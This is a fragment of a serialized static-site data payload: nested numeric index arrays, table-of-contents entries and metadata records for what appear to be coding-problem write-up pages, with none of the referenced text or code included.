7791],{},[2298,25195,7794],{},[2298,25197,7797],{},[2283,25199,25200,25204,25206],{},[2298,25201,25202],{},[637,25203,7804],{},[2298,25205,7807],{},[2298,25207,7810],{},[2283,25209,25210,25214,25220],{},[2298,25211,25212],{},[637,25213,7817],{},[2298,25215,25216,7822,25218,7825],{},[48,25217,6397],{},[48,25219,2484],{},[2298,25221,7828],{},[2283,25223,25224,25228,25230],{},[2298,25225,25226],{},[637,25227,3264],{},[2298,25229,7837],{},[2298,25231,7840],{},[36,25233,7844],{"id":7843},[21,25235,7847,25236,7850],{},[48,25237,6397],{},[41,25239,25240],{"className":3129,"code":7853,"language":3131,"meta":50,"style":50},[48,25241,25242,25246,25250,25254,25258],{"__ignoreMap":50},[308,25243,25244],{"class":310,"line":311},[308,25245,3138],{},[308,25247,25248],{"class":310,"line":98},[308,25249,3143],{},[308,25251,25252],{"class":310,"line":104},[308,25253,7868],{},[308,25255,25256],{"class":310,"line":1327},[308,25257,3153],{},[308,25259,25260],{"class":310,"line":1336},[308,25261,6549],{},[21,25263,7879,25264,7883,25266,7887],{},[48,25265,7882],{},[48,25267,7886],{},[36,25269,7891],{"id":7890},[21,25271,7894],{},[41,25273,25274],{"className":3129,"code":7897,"language":3131,"meta":50,"style":50},[48,25275,25276,25280,25284],{"__ignoreMap":50},[308,25277,25278],{"class":310,"line":311},[308,25279,7904],{},[308,25281,25282],{"class":310,"line":98},[308,25283,7909],{},[308,25285,25286],{"class":310,"line":104},[308,25287,6573],{},[21,25289,7916],{},[21,25291,7652,25292,426],{},[24,25293,5477],{"href":5476},[1997,25295],{},[16,25297,7926],{"id":7925},[36,25299,7930],{"id":7929},[748,25301,25302,25304,25306,25310],{},[333,25303,7935],{},[333,25305,7938],{},[333,25307,7941,25308,7945],{},[637,25309,7944],{},[333,25311,7948],{},[36,25313,7952],{"id":7951},[21,25315,7955],{},[41,25317,25318],{"className":3129,"code":7958,"language":3131,"meta":50,"style":50},[48,25319,25320,25324,25328,25332,25336],{"__ignoreMap":50},[308,25321,25322],{"class":310,"line":311},[308,25323,3138],{},[308,25325,25326],{"class":310,"line":98},[308,25327,3143],{},[308,25329,25330],{"class":310,"line":104},[308,25331,7973],{},[308,25333,25334],{"class":310,"line":1327},[308,25335,3153],{},[308,25337,25338],{"class":310,"line":1336},[308,25339,6549],{},[21,25341,7984,25342,7988],{},[48,25343,7987],{},[36,25345,3410],{"id":3409},[2277,25347,25348,25358],{},[2280,25349,25350],{},[2283,25351,25352,25354,25356],{},[2286,25353,7999],{},[2286,25355,6432],{},[2286,25357,8004],{},[2293,25359,25360,25370,25378,25386],{},[2283,25361,25362,25364,25366],{},[2298,25363,8011],{},[2298,25365,8014],{},[2298,25367,25368],{},[48,25369,8019],{},[2283,25371,25372,25374,25376],{},[2298,25373,8024],{},[2298,25375,8027],{},[2298,25377,8030],{},[2283,25379,25380,25382,25384],{},[2298,25381,8035],{},[2298,25383,8038],{},[2298,25385,8041],{},[2283,25387,25388,25390,25392],{},[2298,25389,8046],{},[2298,25391,8049],{},[2298,25393,25394],{},[48,25395,8054],{},[36,25397,5577],{"id":5576},[41,25399,25401],{"className":25400,"code":8060,"language":46},[44],[48,25402,8060],{"__ignoreMap":50},[36,25404,5593],{"id":5592},[748,25406,25407,25417,25419,25421,25423,25425,25427,25429],{},[333,25408,8069,25409,973,25411,973,25413,973,25415],{},[48,25410,2355],{},[48,25412,3283],{},[48,25414,8076],{},[48,25416,2484],{},[333,25418,8081],{},[333,25420,8084],{},[333,25422,8087],{},[333,25424,8090],{},[333,25426,8093],{},[333,25428,8096],{},[333,25430,8099],{},[1997,25432],{},[16,25434,8105],{"id":8104},[36,25436,8109],{"id":8108},[21,25438,25439],{},[637,25440,8114],{},[41,25442,25443],{"className":8117,"code":8118,"language":8119,"meta":50,"style":50},[48,25444,25445,25449],{"__ignoreMap":50},[308,25446,25447],{"class":310,"line":311},[308,25448,8126],{},[308,25450,25451],{"class":310,"line":98},[308,25452,8131],{},[21,25454,25455],{},[637,25456,8136],{},[41,25458,25459],{"className":8117,"code":8131,"language":8119,"meta":50,"style":50},[48,25460,25461],{"__ignoreMap":50},[308,25462,25463],{"class":310,"line":311},[308,25464,8131],{},[21,25466,25467],{},[637,25468,8149],{},[41,25470,25471],{"className":4070,"code":8152,"language":1144,"meta":50,"style":50},[48,25472,25473],{"__ignoreMap":50},[308,25474,25475],{"class":310,"line":311},[308,25476,8152],{},[21,25478,25479],{},[637,25480,8163],{},[41,25482,25483],{"className":302,"code":8166,"language":304,"meta":50,"style":50},[48,25484,25485,25489],{"__ignoreMap":50},[308,25486,25487],{"class":310,"line":311},[308,25488,8173],{},[308,25490,25491],{"class":310,"line":98},[308,25492,8178],{},[21,25494,25495],{},[637,25496,8183],{},[41,25498,25499],{"className":8186,"code":8187,"language":8188,"meta":50,"style":50},[48,25500,25501,25505],{"__ignoreMap":50},[308,25502,25503],{"class":310,"line":311},[308,25504,8195],{},[308,25506,25507],{"class":310,"line":98},[308,25508,8200],{},[21,25510,25511],{},[637,25512,8205],{},[41,25514,25515],{"className":8208,"code":8209,"language":8210,"meta":50,"style":50},[48,25516,25517],{"__ignoreMap":50},[308,25518,25519],{"class":310,"line":311},[308,25520,8209],{},[36,25522,8220],{"id":8219},[41,25524,25525],{"className":302,"code":8223,"language":304,"meta":50,"style":50},[48,25526,25527,25531,25535,25539,25543],{"__ignoreMap":50},[308,25528,25529],{"class":310,"line":311},[308,25530,8230],{},[308,25532,25533],{"class":310,"line":98},[308,25534,8235],{},[308,25536,25537],{"class":310,"line":104},[308,25538,1636],{"emptyLinePlaceholder":112},[308,25540,25541],{"class":310,"line":1327},[308,25542,8244],{},[308,25544,25545],{"class":310,"line":1336},[308,25546,8249],{},[21,25548,25549,8255,25551,8259],{},[48,25550,8254],{},[637,25552,8258],{},[21,25554,8262,25555,8266],{},[637,25556,8265],{},[36,25558,8270],{"id":8269},[2277,25560,25561,25573],{},[2280,25562,25563],{},[2283,25564,25565,25567,25569,25571],{},[2286,25566,8279],{},[2286,25568,8282],{},[2286,25570,8285],{},[2286,25572,8288],{},[2293,25574,25575,25587,25599,25613,25629,25643,25655,25667,25679,25693],{},[2283,25576,25577,25581,25583,25585],{},[2298,25578,8295,25579],{},[48,25580,8298],{},[2298,25582,8301],{},[2298,25584,8304],{},[2298,25586,8307],{},[2283,25588,25589,25593,25595,25597],{},[2298,25590,8295,25591],{},[48,25592,8314],{},[2298,25594,8301],{},[2298,25596,8304],{},[2298,25598,8321],{},[2283,25600,25601,25605,25607,25609],{},[2298,25602,8326,25603],{},[48,25604,8329],{},[2298,25606,8332],{},[2298,25608,8335],{},[2298,25610,8338,25611],{},[48,25612,8341],{},[2283,25614,25615,25619,25623,25625],{},[2298,25616,8346,25617],{},[48,25618,8254],{},[2298,25620,25621],{},[637,25622,8353],{},[2298,25624,8304],{},[2298,25626,8358,25627,8362],{},[637,25628,8361],{},[2283,25630,25631,25635,25637,25639],{},[2298,25632,8367,25633],{},[48,25634,8370],{},[2298,25636,8332],{},[2298,25638,8375],{},[2298,25640,25641,8381],{},[48,25642,8380],{},[2283,25644,25645,25649,25651,25653],{},[2298,25646,8367,25647],{},[48,25648,8388],{},[2298,25650,8332],{},[2298,25652,8393],{},[2298,25654,8396],{},[2283,25656,25657,25661,25663,25665],{},[2298,25658,8367,25659],{},[48,25660,8403],{},[2298,25662,8406],{},[2298,25664,8304],{},[2298,25666,8411],{},[2283,25668,25669,25673,25675,25677],{},[2298,25670,8416,25671],{},[48,25672,8419],{},[2298,25674,8332],{},[2298,25676,8424],{},[2298,25678,8427],{},[2283,25680,25681,25685,25687,25689],{},[2298,25682,8432,25683],{},[48,25684,8435],{},[2298,25686,8332],{},[2298,25688,8440],{},[2298,25690,25691,8381],{},[48,25692,8445],{},[2283,25694,25695,25697,25699,25701],{},[2298,25696,8450],{},[2298,25698,8332],{},[2298,25700,8455],{},[2298,25702,4616,25703,8460],{},[48,25704,8254],{},[36,25706,5707],{"id":5706},[330,25708,25709,25713,25717,25721,25725,25729,25733,25737],{},[333,25710,25711,8470],{},[637,25712,8469],{},[333,25714,25715,8476],{},[637,25716,8475],{},[333,25718,25719,8482],{},[637,25720,8481],{},[333,25722,25723,8488],{},[637,25724,8487],{},[333,25726,25727,8494],{},[637,25728,8493],{},[333,25730,25731],{},[637,25732,8499],{},[333,25734,25735,8505],{},[637,25736,8504],{},[333,25738,25739,8511],{},[637,25740,8510],{},[1997,25742],{},[16,25744,8517],{"id":8516},[2277,25746,25747,25755],{},[2280,25748,25749],{},[2283,25750,25751,25753],{},[2286,25752,3652],{},[2286,25754,3655],{},[2293,25756,25757,25765,25775,25783],{},[2283,25758,25759,25763],{},[2298,25760,25761],{},[637,25762,3664],{},[2298,25764,8538],{},[2283,25766,25767,25771],{},[2298,25768,25769],{},[637,25770,3674],{},[2298,25772,8547,25773,8551],{},[48,25774,8550],{},[2283,25776,25777,25781],{},[2298,25778,25779],{},[637,25780,3684],{},[2298,25782,8560],{},[2283,25784,25785,25789],{},[2298,25786,25787],{},[637,25788,3694],{},[2298,25790,8569],{},[1997,25792],{},[16,25794,8575],{"id":8574},[2277,25796,25797,25805],{},[2280,25798,25799],{},[2283,25800,25801,25803],{},[2286,25802,3712],{},[2286,25804,3715],{},[2293,25806,25807,25815,25823,25831,25839,25847],{},[2283,25808,25809,25813],{},[2298,25810,25811],{},[637,25812,5892],{},[2298,25814,8596],{},[2283,25816,25817,25821],{},[2298,25818,25819],{},[637,25820,5902],{},[2298,25822,8605],{},[2283,25824,25825,25829],{},[2298,25826,25827],{},[637,25828,8612],{},[2298,25830,8615],{},[2283,25832,25833,25837],{},[2298,25834,25835],{},[637,25836,8622],{},[2298,25838,8625],{},[2283,25840,25841,25845],{},[2298,25842,25843],{},[637,25844,8632],{},[2298,25846,8635],{},[2283,25848,25849,25853],{},[2298,25850,25851],{},[637,25852,6995],{},[2298,25854,8644],{},[1997,25856],{},[16,25858,8650],{"id":8649},[21,25860,25861,8656,25863,8659],{},[637,25862,8655],{},[48,25864,8550],{},[21,25866,25867,8664],{},[637,25868,6035],{},[21,25870,25871,8670],{},[637,25872,8669],{},[21,25874,25875,8675],{},[637,25876,6055],{},[1997,25878],{},[16,25880,8681],{"id":8680},[36,25882,8685],{"id":8684},[21,25884,8688,25885,8691],{},[48,25886,6383],{},[36,25888,8695],{"id":8694},[21,25890,8698,25891,8702],{},[48,25892,8701],{},[36,25894,8706],{"id":8705},[21,25896,8709,25897,8713,25899,8717,25901,8720],{},[48,25898,8712],{},[48,25900,8716],{},[48,25902,6397],{},[36,25904,8724],{"id":8723},[21,25906,8727],{},[36,25908,8731],{"id":8730},[21,25910,8734],{},[36,25912,8738],{"id":8737},[21,25914,8741,25915,3226,25917,8746,25919,8749],{},[48,25916,2355],{},[48,25918,3283],{},[24,25920,7166],{"href":5476},[36,25922,8753],{"id":8752},[21,25924,8756,25925,8759],{},[48,25926,7666],{},[36,25928,8763],{"id":8762},[21,25930,8295,25931,8768,25933,640,25935,8773,25937,8776],{},[48,25932,8298],{},[48,25934,8254],{},[637,25936,8361],{},[48,25938,8403],{},[36,25940,8780],{"id":8779},[21,25942,8783],{},[36,25944,8787],{"id":8786},[21,25946,8790,25947,8794,25949,8798],{},[48,25948,8793],{},[48,25950,8797],{},[1997,25952],{},[16,25954,8804],{"id":8803},[41,25956,25958],{"className":25957,"code":8808,"language":46},[44],[48,25959,8808],{"__ignoreMap":50},[357,25961,359],{},{"title":50,"searchDepth":98,"depth":98,"links":25963},[25964,25965,25971,25976,25982,25986,25990,25996,26001,26006,26010,26017,26023,26024,26025,26026,26038],{"id":6359,"depth":98,"text":6360},{"id":6402,"depth":98,"text":6403,"children":25966},[25967,25968,25969,25970],{"id":6406,"depth":104,"text":6407},{"id":6417,"depth":104,"text":6418},{"id":6586,"depth":104,"text":6587},{"id":6622,"depth":104,"text":6623},{"id":6722,"depth":98,"text":6723,"children":25972},[25973,25974,25975],{"id":6726,"depth":104,"text":6727},{"id":2035,"depth":104,"text":2036},{"id":6803,"depth":104,"text":6804},{"id":6834,"depth":98,"text":6835,"children":25977},[25978,25979,25980,25981],{"id":6838,"depth":104,"text":6839},{"id":6882,"depth":104,"text":6883},{"id":7159,"depth":104,"text":7160},{"id":7216,"depth":104,"text":7217},{"id":7290,"depth":98,"text":7291,"children":25983},[25984,25985],{"id":7294,"depth":104,"text":7295},{"id":7308,"depth":104,"text":4748},{"id":7359,"depth":98,"text":7360,"children":25987},[25988,25989],{"id":7363,"depth":104,"text":7364},{"id":7408,"depth":104,"text":7409},{"id":7465,"depth":98,"text":7466,"children":25991},[25992,25993,25994,25995],{"id":7469,"depth":104,"text":7470},{"id":7495,"depth":104,"text":7496},{"id":7511,"depth":104,"text":7512},{"id":7587,"depth":104,"text":7588},{"id":7602,"depth":98,"text":7603,"children":25997},[25998,25999,26000],{"id":7606,"depth":104,"text":7607},{"id":7632,"depth":104,"text":7633},{"id":7642,"depth":104,"text":7643},{"id":7659,"depth":98,"text":7660,"children":26002},[26003,26004,26005],{"id":7670,"depth":104,"text":7671},{"id":7704,"depth":104,"text":7705},{"id":7734,"depth":104,"text":7735},{"id":7753,"depth":98,"text":7754,"children":26007},[26008,26009],{"id":7843,"depth":104,"text":7844},{"id":7890,"depth":104,"text":7891},{"id":7925,"depth":98,"text":7926,"children":26011},[26012,26013,26014,26015,26016],{"id":7929,"depth":104,"text":7930},{"id":7951,"depth":104,"text":7952},{"id":3409,"depth":104,"text":3410},{"id":5576,"depth":104,"text":5577},{"id":5592,"depth":104,"text":5593},{"id":8104,"depth":98,"text":8105,"children":26018},[26019,26020,26021,26022],{"id":8108,"depth":104,"text":8109},{"id":8219,"depth":104,"text":8220},{"id":8269,"depth":104,"text":8270},{"id":5706,"depth":104,"text":5707},{"id":8516,"depth":98,"text":8517},{"id":8574,"depth":98,"text":8575},{"id":8649,"depth":98,"text":8650},{"id":8680,"depth":98,"text":8681,"children":26027},[26028,26029,26030,26031,26032,26033,26034,26035,26036,26037],{"id":8684,"depth":104,"text":8685},{"id":8694,"depth":104,"text":8695},{"id":8705,"depth":104,"text":8706},{"id":8723,"depth":104,"text":8724},{"id":8730,"depth":104,"text":8731},{"id":8737,"depth":104,"text":8738},{"id":8752,"depth":104,"text":8753},{"id":8762,"depth":104,"text":8763},{"id":8779,"depth":104,"text":8780},{"id":8786,"depth":104,"text":8787},{"id":8803,"depth":98,"text":8804},{},{"title":6351,"description":8890},[8896,3131,8897,8898,4027,121],[26043,26143,26219],{"id":127,"title":128,"author":6,"body":26044,"date":255,"description":256,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":26140,"navigation":112,"notes":110,"path":259,"psTitle":143,"seo":26141,"stem":261,"tags":26142,"timeSpent":265,"type":123,"__hash__":266},{"type":8,"value":26045,"toc":26133},[26046,26048,26050,26055,26057,26059,26064,26066,26068,26073,26077,26081,26086,26088,26093,26095,26099,26104,26108,26113,26117,26119,26124,26126,26131],[11,26047,134],{"id":133},[16,26049,19],{"id":18},[21,26051,26052,144],{},[24,26053,143],{"href":141,"rel":26054},[28],[16,26056,34],{"id":33},[36,26058,39],{"id":38},[41,26060,26062],{"className":26061,"code":152,"language":46},[44],[48,26063,152],{"__ignoreMap":50},[36,26065,54],{"id":53},[21,26067,159],{},[41,26069,26071],{"className":26070,"code":163,"language":46},[44],[48,26072,163],{"__ignoreMap":50},[21,26074,168,26075,172],{},[48,26076,171],{},[21,26078,175,26079,178],{},[48,26080,171],{},[41,26082,26084],{"className":26083,"code":182,"language":46},[44],[48,26085,182],{"__ignoreMap":50},[21,26087,187],{},[41,26089,26091],{"className":26090,"code":191,"language":46},[44],[48,26092,191],{"__ignoreMap":50},[21,26094,196],{},[21,26096,199,26097,203],{},[48,26098,202],{},[41,26100,26102],{"className":26101,"code":207,"language":46},[44],[48,26103,207],{"__ignoreMap":50},[21,26105,212,26106,215],{},[48,26107,171],{},[41,26109,26111],{"className":26110,"code":219,"language":46},[44],[48,26112,219],{"__ignoreMap":50},[21,26114,224,26115,228],{},[48,26116,227],{},[21,26118,231],{},[41,26120,26122],{"className":26121,"code":235,"language":46},[44],[48,26123,235],{"__ignoreMap":50},[21,26125,87],{},[41,26127,26129],{"className":26128,"code":243,"language":46},[44],[48,26130,243],{"__ignoreMap":50},[21,26132,96],{},{"title":50,"searchDepth":98,"depth":98,"links":26134},[26135,26136],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":26137},[26138,26139],{"id":38,"depth":104,"text":39},{"id":53,"depth":104,"text":54},{},{"title":128,"description":256},[117,118,119,263,264,121],{"id":268,"title":269,"author":6,"body":26144,"date":255,"description":367,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":26216,"navigation":112,"notes":110,"path":369,"psTitle":284,"seo":26217,"stem":371,"tags":26218,"timeSpent":374,"type":123,"__hash__":375},{"type":8,"value":26145,"toc":26209},[26146,26148,26150,26155,26157,26159,26164,26166,26168,26176,26180,26185,26187,26195,26200,26205,26207],[11,26147,275],{"id":274},[16,26149,19],{"id":18},[21,26151,26152,144],{},[24,26153,284],{"href":282,"rel":26154},[28],[16,26156,34],{"id":33},[36,26158,39],{"id":38},[41,26160,26162],{"className":26161,"code":292,"language":46},[44],[48,26163,292],{"__ignoreMap":50},[36,26165,54],{"id":53},[21,26167,299],{},[41,26169,26170],{"className":302,"code":303,"language":304,"meta":50,"style":50},[48,26171,26172],{"__ignoreMap":50},[308,26173,26174],{"class":310,"line":311},[308,26175,303],{},[21,26177,316,26178,215],{},[48,26179,319],{},[41,26181,26183],{"className":26182,"code":323,"language":46},[44],[48,26184,323],{"__ignoreMap":50},[21,26186,328],{},[330,26188,26189,26193],{},[333,26190,26191,338],{},[48,26192,337],{},[333,26194,341],{},[41,26196,26198],{"className":26197,"code":345,"language":46},[44],[48,26199,345],{"__ignoreMap":50},[41,26201,26203],{"className":26202,"code":351,"language":46},[44],[48,26204,351],{"__ignoreMap":50},[21,26206,96],{},[357,26208,359],{},{"title":50,"searchDepth":98,"depth":98,"links":26210},[26211,26212],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":26213},[26214,26215],{"id":38,"depth":104,"text":39},{"id":53,"depth":104,"text":54},{},{"title":269,"description":367},[117,118,119,373,121],{"id":377,"title":378,"author":6,"body":26220,"date":106,"description":444,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":26274,"navigation":112,"notes":110,"path":446,"psTitle":393,"seo":26275,"stem":448,"tags":26276,"timeSpent":122,"type":123,"__hash__":450},{"type":8,"value":26221,"toc":26267},[26222,26224,26226,26231,26233,26235,26240,26242,26244,26252,26254,26258,26263,26265],[11,26223,384],{"id":383},[16,26225,19],{"id":18},[21,26227,26228,30],{},[24,26229,393],{"href":391,"rel":26230},[28],[16,26232,34],{"id":33},[36,26234,39],{"id":38},[41,26236,26238],{"className":26237,"code":401,"language":46},[44],[48,26239,401],{"__ignoreMap":50},[36,26241,54],{"id":53},[21,26243,408],{},[41,26245,26246],{"className":302,"code":303,"language":304,"meta":50,"style":50},[48,26247,26248],{"__ignoreMap":50},[308,26249,26250],{"class":310,"line":311},[308,26251,303],{},[21,26253,419],{},[21,26255,422,26256,426],{},[48,26257,425],{},[41,26259,26261],{"className":26260,"code":430,"language":46},[44],[48,26262,430],{"__ignoreMap":50},[21,26264,96],{},[357,26266,359],{},{"title":50,"searchDepth":98,"depth":98,"links":26268},[26269,26270],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":26271},[26272,26273],{"id":38,"depth":104,"text":39},{"id":53,"depth":104,"text":54},{},{"title":378,"description":444},[117,118,119,121],1780584298183]